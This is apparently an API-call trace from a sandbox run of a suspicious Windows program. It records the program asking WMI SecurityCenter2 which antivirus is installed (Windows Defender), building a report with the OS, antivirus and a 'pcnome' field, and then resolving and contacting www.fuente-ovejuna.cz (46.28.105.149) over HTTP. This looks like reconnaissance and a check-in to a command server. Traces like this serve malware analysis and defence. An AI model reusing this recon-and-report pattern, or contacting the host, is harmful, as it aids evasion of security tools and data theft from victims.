	[0110.870] IClientSecurity:QueryBlanket (in: This=0x281db4, pProxy=0x264978, pAuthnSvc=0x19f970, pAuthzSvc=0x19f974, pServerPrincName=0x0, pAuthnLevel=0x19f980, pImpLevel=0x19f97c, pAuthInfo=0x0, pCapabilites=0x19f978 | out: pAuthnSvc=0x19f970*=0xa, pAuthzSvc=0x19f974*=0x0, pServerPrincName=0x0, pAuthnLevel=0x19f980*=0x6, pImpLevel=0x19f97c*=0x3, pAuthInfo=0x0, pCapabilites=0x19f978*=0x20) returned 0x0
	[0110.870] IUnknown:Release (This=0x281db4) returned 0x2
	[0110.870] WbemDefPath:IWbemPath:GetInfo (in: This=0x26d8a8, uRequestedInfo=0x0, puResponse=0x19f9d0 | out: puResponse=0x19f9d0*=0x24e02) returned 0x0
	[0110.870] WbemDefPath:IWbemPath:GetInfo (in: This=0x26d8a8, uRequestedInfo=0x0, puResponse=0x19fa00 | out: puResponse=0x19fa00*=0x24e02) returned 0x0
	[0110.870] ResolveDelayLoadedAPI () returned 0x77454b10
	[0110.870] CreatePointerMoniker (in: punk=0x2803e0, ppmk=0x19fb14 | out: ppmk=0x19fb14*=0x26b998) returned 0x0
	[0110.870] IUnknown:AddRef (This=0x2803e0) returned 0x2
	[0110.871] WbemDefPath:IUnknown:Release (This=0x26d8a8) returned 0x0
	[0110.871] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0110.871] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0110.871] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0110.871] WbemLocator:IUnknown:Release (This=0x268df8) returned 0x0
	[0110.871] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0110.871] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0110.871] IUnknown:Release (This=0x268f58) returned 0x0
	[0110.871] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0110.871] IMoniker:RemoteBindToObject (in: This=0x26b998, pbc=0x24d8d0, pmkToLeft=0x0, riidResult=0x5017f0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvResult=0x19fbdc | out: ppvResult=0x19fbdc*=0x2803e0) returned 0x0
	[0110.871] IUnknown:QueryInterface (in: This=0x2803e0, riid=0x5017f0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x19fbdc | out: ppvObject=0x19fbdc*=0x2803e0) returned 0x0
	[0110.871] IUnknown:Release (This=0x26b998) returned 0x0
	[0110.871] IUnknown:Release (This=0x2803e0) returned 0x1
	[0110.871] IUnknown:Release (This=0x24d8d0) returned 0x0
	[0110.871] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5019d2, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9
	[0110.871] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5019d2, cbMultiByte=9, lpWideCharStr=0x19f9b4, cchWideChar=10 | out: lpWideCharStr="ExecQuery") returned 9
	[0110.871] GetThreadLocale () returned 0x409
	[0110.872] LoadRegTypeLib (in: rguid=0x747a20fc*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x409, pptlib=0x19f93c*=0x0 | out: pptlib=0x19f93c*=0x2872c0) returned 0x0
	[0111.032] ITypeLib:GetTypeInfoOfGuid (in: This=0x2872c0, GUID=0x280414*(Data1=0xd2f68443, Data2=0x85dc, Data3=0x427e, Data4=([0]=0x91, [1]=0xd8, [2]=0x36, [3]=0x65, [4]=0x54, [5]=0xcc, [6]=0x75, [7]=0x4c)), ppTInfo=0x280408 | out: ppTInfo=0x280408*=0x28bef4) returned 0x0
	[0111.074] IUnknown:Release (This=0x2872c0) returned 0x1
	[0111.074] DispGetIDsOfNames (in: ptinfo=0x28bef4, rgszNames=0x19f9c8*="ExecQuery", cNames=0x1, rgdispid=0x19fa0c | out: rgdispid=0x19fa0c*=9) returned 0x0
	[0111.076] IUnknown:Release (This=0x28bef4) returned 0x1
	[0111.076] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x5019ac, cbMultiByte=30, lpWideCharStr=0x19e360, cchWideChar=2047 | out: lpWideCharStr="SELECT * FROM AntiVirusProduct\x19") returned 30
	[0111.077] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x5019a0, cbMultiByte=3, lpWideCharStr=0x19e360, cchWideChar=2047 | out: lpWideCharStr="WQLECT * FROM AntiVirusProduct\x19") returned 3
	[0111.077] IUnknown:AddRef (This=0x28bef4) returned 0x2
	[0111.077] ITypeInfo:LocalInvoke (This=0x28bef4) returned 0x0
	[0111.077] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0111.077] IUnknown:AddRef (This=0x264978) returned 0x3
	[0111.077] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0111.077] IWbemServices:ExecQuery (in: This=0x264978, strQueryLanguage="WQL", strQuery="SELECT * FROM AntiVirusProduct", lFlags=256, pCtx=0x0, ppEnum=0x19ecdc | out: ppEnum=0x19ecdc*=0x28cf80) returned 0x0
	[0111.099] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x24de78
	[0111.099] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x24e1d8
	[0111.099] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x24df38
	[0111.099] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x2782b8
	[0111.099] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x28cfc0
	[0111.099] IUnknown:QueryInterface (in: This=0x28cf80, riid=0x747a1fb8*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x19ecd0 | out: ppvObject=0x19ecd0*=0x28cf84) returned 0x0
	[0111.099] IClientSecurity:QueryBlanket (in: This=0x28cf84, pProxy=0x28cf80, pAuthnSvc=0x19ecc4, pAuthzSvc=0x19ecbc, pServerPrincName=0x0, pAuthnLevel=0x19ecd8, pImpLevel=0x19ece8, pAuthInfo=0x0, pCapabilites=0x19ecb4 | out: pAuthnSvc=0x19ecc4*=0xa, pAuthzSvc=0x19ecbc*=0x0, pServerPrincName=0x0, pAuthnLevel=0x19ecd8*=0x6, pImpLevel=0x19ece8*=0x2, pAuthInfo=0x0, pCapabilites=0x19ecb4*=0x1) returned 0x0
	[0111.099] IUnknown:Release (This=0x28cf84) returned 0x1
	[0111.099] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0111.100] IUnknown:QueryInterface (in: This=0x264978, riid=0x747a1fb8*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x19ec7c | out: ppvObject=0x19ec7c*=0x281db4) returned 0x0
	[0111.100] IClientSecurity:QueryBlanket (in: This=0x281db4, pProxy=0x264978, pAuthnSvc=0x19ec64, pAuthzSvc=0x19ec68, pServerPrincName=0x0, pAuthnLevel=0x19ec74, pImpLevel=0x19ec78, pAuthInfo=0x0, pCapabilites=0x19ec6c | out: pAuthnSvc=0x19ec64*=0xa, pAuthzSvc=0x19ec68*=0x0, pServerPrincName=0x0, pAuthnLevel=0x19ec74*=0x6, pImpLevel=0x19ec78*=0x3, pAuthInfo=0x0, pCapabilites=0x19ec6c*=0x20) returned 0x0
	[0111.100] IUnknown:Release (This=0x281db4) returned 0x3
	[0111.100] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0111.100] IUnknown:QueryInterface (in: This=0x264978, riid=0x747a1fb8*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x19ec7c | out: ppvObject=0x19ec7c*=0x281db4) returned 0x0
	[0111.100] IClientSecurity:QueryBlanket (in: This=0x281db4, pProxy=0x264978, pAuthnSvc=0x19ec64, pAuthzSvc=0x19ec68, pServerPrincName=0x0, pAuthnLevel=0x19ec78, pImpLevel=0x19ec74, pAuthInfo=0x0, pCapabilites=0x19ec6c | out: pAuthnSvc=0x19ec64*=0xa, pAuthzSvc=0x19ec68*=0x0, pServerPrincName=0x0, pAuthnLevel=0x19ec78*=0x6, pImpLevel=0x19ec74*=0x3, pAuthInfo=0x0, pCapabilites=0x19ec6c*=0x20) returned 0x0
	[0111.100] IUnknown:Release (This=0x281db4) returned 0x3
	[0111.100] IUnknown:QueryInterface (in: This=0x28cf80, riid=0x747a1fb8*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x19ed1c | out: ppvObject=0x19ed1c*=0x28cf84) returned 0x0
	[0111.101] IClientSecurity:CopyProxy (in: This=0x28cf84, pProxy=0x28cf80, ppCopy=0x19ed34 | out: ppCopy=0x19ed34*=0x28d100) returned 0x0
	[0111.101] IUnknown:QueryInterface (in: This=0x28d100, riid=0x747a1fb8*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x19ec04 | out: ppvObject=0x19ec04*=0x28d104) returned 0x0
	[0111.101] IClientSecurity:QueryBlanket (in: This=0x28d104, pProxy=0x28d100, pAuthnSvc=0x19ec34, pAuthzSvc=0x19ec30, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0 | out: pAuthnSvc=0x19ec34*=0xa, pAuthzSvc=0x19ec30*=0x0, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0) returned 0x0
	[0111.101] IUnknown:Release (This=0x28d104) returned 0x3
	[0111.101] IUnknown:QueryInterface (in: This=0x28d100, riid=0x747a1f78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x19ebe8 | out: ppvObject=0x19ebe8*=0x28cd10) returned 0x0
	[0111.101] IUnknown:QueryInterface (in: This=0x28d100, riid=0x747a1fb8*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x19ebec | out: ppvObject=0x19ebec*=0x28d104) returned 0x0
	[0111.101] IClientSecurity:SetBlanket (This=0x28d104, pProxy=0x28d100, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0111.104] IUnknown:Release (This=0x28d104) returned 0x4
	[0111.104] IUnknown:Release (This=0x28cd10) returned 0x3
	[0111.104] IUnknown:Release (This=0x28cf84) returned 0x2
	[0111.104] IUnknown:AddRef (This=0x28d100) returned 0x3
	[0111.104] IUnknown:Release (This=0x28cf80) returned 0x2
	[0111.104] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x19ec80 | out: pperrinfo=0x19ec80*=0x0) returned 0x1
	[0111.104] IUnknown:Release (This=0x264978) returned 0x2
	[0111.104] IUnknown:Release (This=0x28bef4) returned 0x1
	[0111.104] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5019df, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8
	[0111.104] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5019df, cbMultiByte=8, lpWideCharStr=0x19f9c0, cchWideChar=9 | out: lpWideCharStr="_NewEnum") returned 8
	[0111.104] GetThreadLocale () returned 0x409
	[0111.104] LoadRegTypeLib (in: rguid=0x747a20fc*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x409, pptlib=0x19f948*=0x0 | out: pptlib=0x19f948*=0x2872c0) returned 0x0
	[0111.105] ITypeLib:GetTypeInfoOfGuid (in: This=0x2872c0, GUID=0x24dea0*(Data1=0x76a6415f, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), ppTInfo=0x24de94 | out: ppTInfo=0x24de94*=0x28bfa4) returned 0x0
	[0111.105] IUnknown:Release (This=0x2872c0) returned 0x2
	[0111.105] IUnknown:AddRef (This=0x28bfa4) returned 0x2
	[0111.105] DispGetIDsOfNames (in: ptinfo=0x28bfa4, rgszNames=0x19f9d4*="_NewEnum", cNames=0x1, rgdispid=0x19fa18 | out: rgdispid=0x19fa18*=-4) returned 0x0
	[0111.105] IUnknown:Release (This=0x28bfa4) returned 0x1
	[0111.105] IUnknown:AddRef (This=0x28bfa4) returned 0x2
	[0111.105] ITypeInfo:LocalInvoke (This=0x28bfa4) returned 0x0
	[0111.105] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0111.105] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x274f18
	[0111.105] IUnknown:Release (This=0x28bfa4) returned 0x1
	[0111.105] WinMGMTS:IUnknown:AddRef (This=0x274f18) returned 0x2
	[0111.105] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0111.105] IUnknown:AddRef (This=0x28d100) returned 0x3
	[0111.105] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0111.105] IEnumWbemClassObject:Next (in: This=0x28d100, lTimeout=-1, uCount=0x1, apObjects=0x19fb04, puReturned=0x19fae4 | out: apObjects=0x19fb04*=0x28e588, puReturned=0x19fae4*=0x1) returned 0x0
	[0111.108] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x276b80
	[0111.108] IUnknown:AddRef (This=0x28e588) returned 0x2
	[0111.108] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x28e720
	[0111.108] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x24e0b8
	[0111.108] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x24e238
	[0111.108] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x2783b8
	[0111.108] IUnknown:AddRef (This=0x264978) returned 0x3
	[0111.108] IUnknown:AddRef (This=0x28d100) returned 0x4
	[0111.108] IUnknown:QueryInterface (in: This=0x28d100, riid=0x747a1fb8*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x19fb30 | out: ppvObject=0x19fb30*=0x28d104) returned 0x0
	[0111.108] IClientSecurity:QueryBlanket (in: This=0x28d104, pProxy=0x28d100, pAuthnSvc=0x19fab4, pAuthzSvc=0x19fabc, pServerPrincName=0x0, pAuthnLevel=0x19fae0, pImpLevel=0x19faec, pAuthInfo=0x0, pCapabilites=0x19fab0 | out: pAuthnSvc=0x19fab4*=0xa, pAuthzSvc=0x19fabc*=0x0, pServerPrincName=0x0, pAuthnLevel=0x19fae0*=0x6, pImpLevel=0x19faec*=0x3, pAuthInfo=0x0, pCapabilites=0x19fab0*=0x20) returned 0x0
	[0111.108] IUnknown:Release (This=0x28d104) returned 0x4
	[0111.108] IUnknown:Release (This=0x264978) returned 0x2
	[0111.108] IUnknown:AddRef (This=0x264978) returned 0x3
	[0111.108] IUnknown:Release (This=0x28d100) returned 0x3
	[0111.108] SysStringLen (param_1="\\\\localhost\\root\\SecurityCenter2") returned 0x20
	[0111.108] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x28d9f8
	[0111.108] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x2783d8
	[0111.108] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x26bd08
	[0111.108] IUnknown:AddRef (This=0x28e588) returned 0x3
	[0111.108] IUnknown:Release (This=0x28e588) returned 0x2
	[0111.108] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x19fa7c | out: pperrinfo=0x19fa7c*=0x0) returned 0x1
	[0111.108] IUnknown:Release (This=0x28d100) returned 0x2
	[0111.109] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x19fb34 | out: pperrinfo=0x19fb34*=0x0) returned 0x1
	[0111.109] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5019fb, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11
	[0111.109] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5019fb, cbMultiByte=11, lpWideCharStr=0x19f9bc, cchWideChar=12 | out: lpWideCharStr="displayName") returned 11
	[0111.109] GetThreadLocale () returned 0x409
	[0111.109] LoadRegTypeLib (in: rguid=0x747a20fc*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x409, pptlib=0x19f944*=0x0 | out: pptlib=0x19f944*=0x2872c0) returned 0x0
	[0111.109] ITypeLib:GetTypeInfoOfGuid (in: This=0x2872c0, GUID=0x747a1f38*(Data1=0x269ad56a, Data2=0x8a67, Data3=0x4129, Data4=([0]=0xbc, [1]=0x8c, [2]=0x5, [3]=0x6, [4]=0xdc, [5]=0xfe, [6]=0x98, [7]=0x80)), ppTInfo=0x28da10 | out: ppTInfo=0x28da10*=0x28bffc) returned 0x0
	[0111.109] IUnknown:Release (This=0x2872c0) returned 0x3
	[0111.109] IUnknown:AddRef (This=0x28bffc) returned 0x2
	[0111.109] DispGetIDsOfNames (in: ptinfo=0x28bffc, rgszNames=0x19f9d4*="displayName", cNames=0x1, rgdispid=0x19fa18 | out: rgdispid=0x19fa18*=-1) returned 0x80020006
	[0111.126] IUnknown:AddRef (This=0x28e588) returned 0x3
	[0111.126] IWbemClassObject:Get (in: This=0x28e588, wszName="displayName", lFlags=0, pVal=0x0, pType=0x0, plFlavor=0x19f910*=0 | out: pVal=0x0, pType=0x0, plFlavor=0x19f910*=0) returned 0x0
	[0111.126] IUnknown:Release (This=0x28e588) returned 0x2
	[0111.126] SysStringLen (param_1="displayName") returned 0xb
	[0111.126] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x26bc40
	[0111.126] SysStringLen (param_1="displayName") returned 0xb
	[0111.126] IUnknown:Release (This=0x28bffc) returned 0x1
	[0111.126] IUnknown:AddRef (This=0x28bffc) returned 0x2
	[0111.126] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0111.126] SysStringLen (param_1="displayName") returned 0xb
	[0111.126] IWbemClassObject:Get (in: This=0x28e588, wszName="displayName", lFlags=0, pVal=0x19f2c0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x19f2b8*=1096, plFlavor=0x0 | out: pVal=0x19f2c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Windows Defender", varVal2=0x0), pType=0x19f2b8*=8, plFlavor=0x0) returned 0x0
	[0111.126] IUnknown:Release (This=0x28bffc) returned 0x1
	[0111.126] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Windows Defender", cchWideChar=16, lpMultiByteStr=0x19eaa4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows DefenderK(Çw\x18%%", lpUsedDefaultChar=0x0) returned 16
	[0111.126] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0111.126] IUnknown:AddRef (This=0x28d100) returned 0x3
	[0111.126] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0111.127] IEnumWbemClassObject:Next (in: This=0x28d100, lTimeout=-1, uCount=0x1, apObjects=0x19fb04, puReturned=0x19fae4 | out: apObjects=0x19fb04*=0x0, puReturned=0x19fae4*=0x0) returned 0x1
	[0111.127] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x19fa7c | out: pperrinfo=0x19fa7c*=0x0) returned 0x1
	[0111.127] IUnknown:Release (This=0x28d100) returned 0x2
	[0111.127] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x19fb34 | out: pperrinfo=0x19fb34*=0x0) returned 0x1
	[0111.128] IUnknown:Release (This=0x2803e0) returned 0x1
	[0111.128] IUnknown:Release (This=0x264978) returned 0x2
	[0111.128] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0111.128] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0111.128] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0111.128] IUnknown:Release (This=0x28bef4) returned 0x0
	[0111.128] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0111.128] IUnknown:Release (This=0x28d100) returned 0x1
	[0111.128] IUnknown:Release (This=0x28d100) returned 0x0
	[0111.129] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0111.129] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0111.129] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0111.129] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0111.129] IUnknown:Release (This=0x28bfa4) returned 0x0
	[0111.129] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0111.129] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0111.129] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="text/html", cchCount1=9, lpString2="text/html", cchCount2=9) returned 2
	[0111.129] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="=Windows 8 / Windows Defender / ", cchCount1=1, lpString2="=", cchCount2=1) returned 2
	[0111.129] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="=Windows 8 / Windows Defender / ", cchCount1=1, lpString2="=", cchCount2=1) returned 2
	[0111.129] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="pcnome", cchCount1=6, lpString2="pcnome", cchCount2=6) returned 2
	[0111.129] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="=Windows 8 / Windows Defender / ", cchCount1=1, lpString2="=", cchCount2=1) returned 2
	[0111.129] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="pcnome", cchCount1=6, lpString2="pcnome", cchCount2=6) returned 2
	[0111.130] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="=Windows 8 / Windows Defender / ", cchCount1=1, lpString2="=", cchCount2=1) returned 2
	[0111.130] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="pcnome", cchCount1=6, lpString2="pcnome", cchCount2=6) returned 2
	[0111.130] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="p", cchCount1=1, lpString2="/", cchCount2=1) returned 3
	[0111.130] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="h", cchCount1=1, lpString2="/", cchCount2=1) returned 3
	[0111.130] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="p", cchCount1=1, lpString2="/", cchCount2=1) returned 3
	[0111.130] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1=".", cchCount1=1, lpString2="/", cchCount2=1) returned 1
	[0111.130] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="s", cchCount1=1, lpString2="/", cchCount2=1) returned 3
	[0111.130] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="s", cchCount1=1, lpString2="/", cchCount2=1) returned 3
	[0111.130] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="c", cchCount1=1, lpString2="/", cchCount2=1) returned 3
	[0111.130] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="/", cchCount1=1, lpString2="/", cchCount2=1) returned 2
	[0111.131] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="http", cchCount1=4, lpString2="http", cchCount2=4) returned 2
	[0111.131] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="www.fuente-ovejuna.cz", cchCount2=21) returned 1
	[0111.131] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="http", cchCount1=4, lpString2="HTTPS", cchCount2=5) returned 1
	[0111.131] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="1.0", cchCount1=3, lpString2="", cchCount2=0) returned 3
	[0111.131] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="1.1", cchCount1=3, lpString2="", cchCount2=0) returned 3
	[0111.131] GetProcAddressForCaller () returned 0x77939780
	[0111.131] socket (af=2, type=1, protocol=0) returned 0x478
	[0111.132] GetProcAddressForCaller () returned 0x77943650
	[0111.132] htons (hostshort=0x0) returned 0x0
	[0111.132] GetProcAddressForCaller () returned 0x7793e0f0
	[0111.132] bind (s=0x478, addr=0x19f9f8*(sa_family=2, sin_port=0x0, sin_addr="0.0.0.0"), namelen=16) returned 0
	[0111.132] GetProcAddressForCaller () returned 0x7793e030
	[0111.132] getsockname (in: s=0x478, name=0x19f9f0, namelen=0x19fa00 | out: name=0x19f9f0*(sa_family=2, sin_port=0xc110, sin_addr="0.0.0.0"), namelen=0x19fa00) returned 0
	[0111.132] GetProcAddressForCaller () returned 0x77943650
	[0111.132] htons (hostshort=0x10c1) returned 0xc110
	[0111.132] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="www.fuente-ovejuna.cz", cchCount1=21, lpString2="LOCALHOST", cchCount2=9) returned 3
	[0111.133] GetProcAddressForCaller () returned 0x7795c790
	[0111.133] gethostbyname (name="www.fuente-ovejuna.cz") returned 0x270900*(h_name="www.fuente-ovejuna.cz", h_aliases=0x270910*=0x0, h_addrtype=2, h_length=4, h_addr_list=0x270914*=([0]="46.28.105.149"))
	[0111.325] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404318, lpParameter=0x721bcb0, dwCreationFlags=0x4, lpThreadId=0x721bc6c | out: lpThreadId=0x721bc6c*=0xce8) returned 0x484
	[0111.326] ResumeThread (hThread=0x484) returned 0x1
	[0111.326] GetCurrentThreadId () returned 0xd04
	[0111.326] Sleep (dwMilliseconds=0x7d) 
	[0111.459] GetCurrentThreadId () returned 0xd04
	[0111.460] DispatchMessageWorker () returned 0x0
	[0111.460] DispatchMessageWorker () returned 0x1
	[0111.460] DispatchMessageWorker () 
	[0111.461] Sleep (dwMilliseconds=0x7d) 
	[0111.621] GetCurrentThreadId () returned 0xd04
	[0111.621] Sleep (dwMilliseconds=0x7d) 
	[0111.762] GetCurrentThreadId () returned 0xd04
	[0111.763] Sleep (dwMilliseconds=0x7d) 
	[0112.402] GetCurrentThreadId () returned 0xd04
	[0112.402] Sleep (dwMilliseconds=0x0) 
	[0112.488] CloseHandle (hObject=0x484) returned 1
	[0112.488] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CONNECTION", cchCount1=10, lpString2="Content-Type", cchCount2=12) returned 1
	[0112.488] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CONNECTION", cchCount1=10, lpString2="Content-Length", cchCount2=14) returned 1
	[0112.488] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CONTENT-TYPE", cchCount1=12, lpString2="Content-Length", cchCount2=14) returned 3
	[0112.488] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CONNECTION", cchCount1=10, lpString2="Host", cchCount2=4) returned 1
	[0112.489] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CONTENT-TYPE", cchCount1=12, lpString2="Host", cchCount2=4) returned 1
	[0112.489] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="CONTENT-LENGTH", cchCount1=14, lpString2="Host", cchCount2=4) returned 1
